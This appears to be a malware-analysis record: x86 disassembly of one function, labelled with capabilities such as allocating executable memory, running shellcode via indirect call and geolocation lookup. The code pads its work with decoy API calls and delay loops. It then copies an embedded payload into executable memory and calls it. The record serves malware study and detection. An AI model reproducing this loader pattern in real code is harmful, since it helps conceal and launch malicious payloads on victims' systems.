Function at 0x403397
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1064
call fcn.0040b7d0
cmp dword [0x4d7aa0], 0x5b1
push ebx
push esi
push edi
jne 0x403440
xor esi, esi
push esi
lea eax, [ebp - 0x460]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0x402d40
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
push 0x402d60
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 0x60]
push eax
push 0x402d78
push esi
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
call fcn.00403824
pop ecx
lea ecx, [ebp - 0x10]
call fcn.00403000
lea ecx, [ebp - 0x10]
call fcn.00403019
push esi
call fcn.004039f1
pop ecx
push esi
call fcn.00403cba
pop ecx
call fcn.00403c3f
add dword [0x4d7aa0], 0x1134b
push 0x402da8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x402db8
push eax
mov dword [0x4d69f4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x4d7aa0]
xor esi, esi
push esi
mov dword [0x4d69ec], eax
call eax
xor edi, edi
mov dword [0x4d69f0], eax
cmp dword [0x4d7aa0], esi
jbe 0x4034c1
cmp dword [0x4d7aa0], 0xa8
mov eax, dword [0x4d7aa4]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d69f0]
mov byte [ecx + edi], al
jne 0x4034b8
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
inc edi
cmp edi, dword [0x4d7aa0]
jb 0x40348c
xor ebx, ebx
mov eax, dword [0x4d7aa0]
add eax, ebx
cmp eax, 0xe
jne 0x403565
push esi
lea eax, [ebp - 0x860]
push eax
push 0x402dc8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1060]
push eax
push 0x402de4
lea eax, [ebp - 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push esi
push esi
lea eax, [ebp - 0x460]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x402e20
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc ebx
cmp ebx, 0x4fe161
jl 0x4034c3
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
cmp ebx, 0x206d47
jg 0x403595
inc ebx
cmp ebx, 0x4f6a4
jl 0x40357a
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec ebx
jne 0x40359a
call fcn.00403304
call edi
cmp ebx, 0x26
jne 0x4035c5
call fcn.0040337d
inc ebx
cmp ebx, 0x6753f
jl 0x4035b9
push 0x7b
pop edi
cmp dword [0x4d7aa0], 0x86
jne 0x403606
push esi
lea eax, [ebp - 0x1060]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push esi
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
dec edi
jne 0x4035d1
call fcn.004030bb
pop edi
pop esi
pop ebx
leave
ret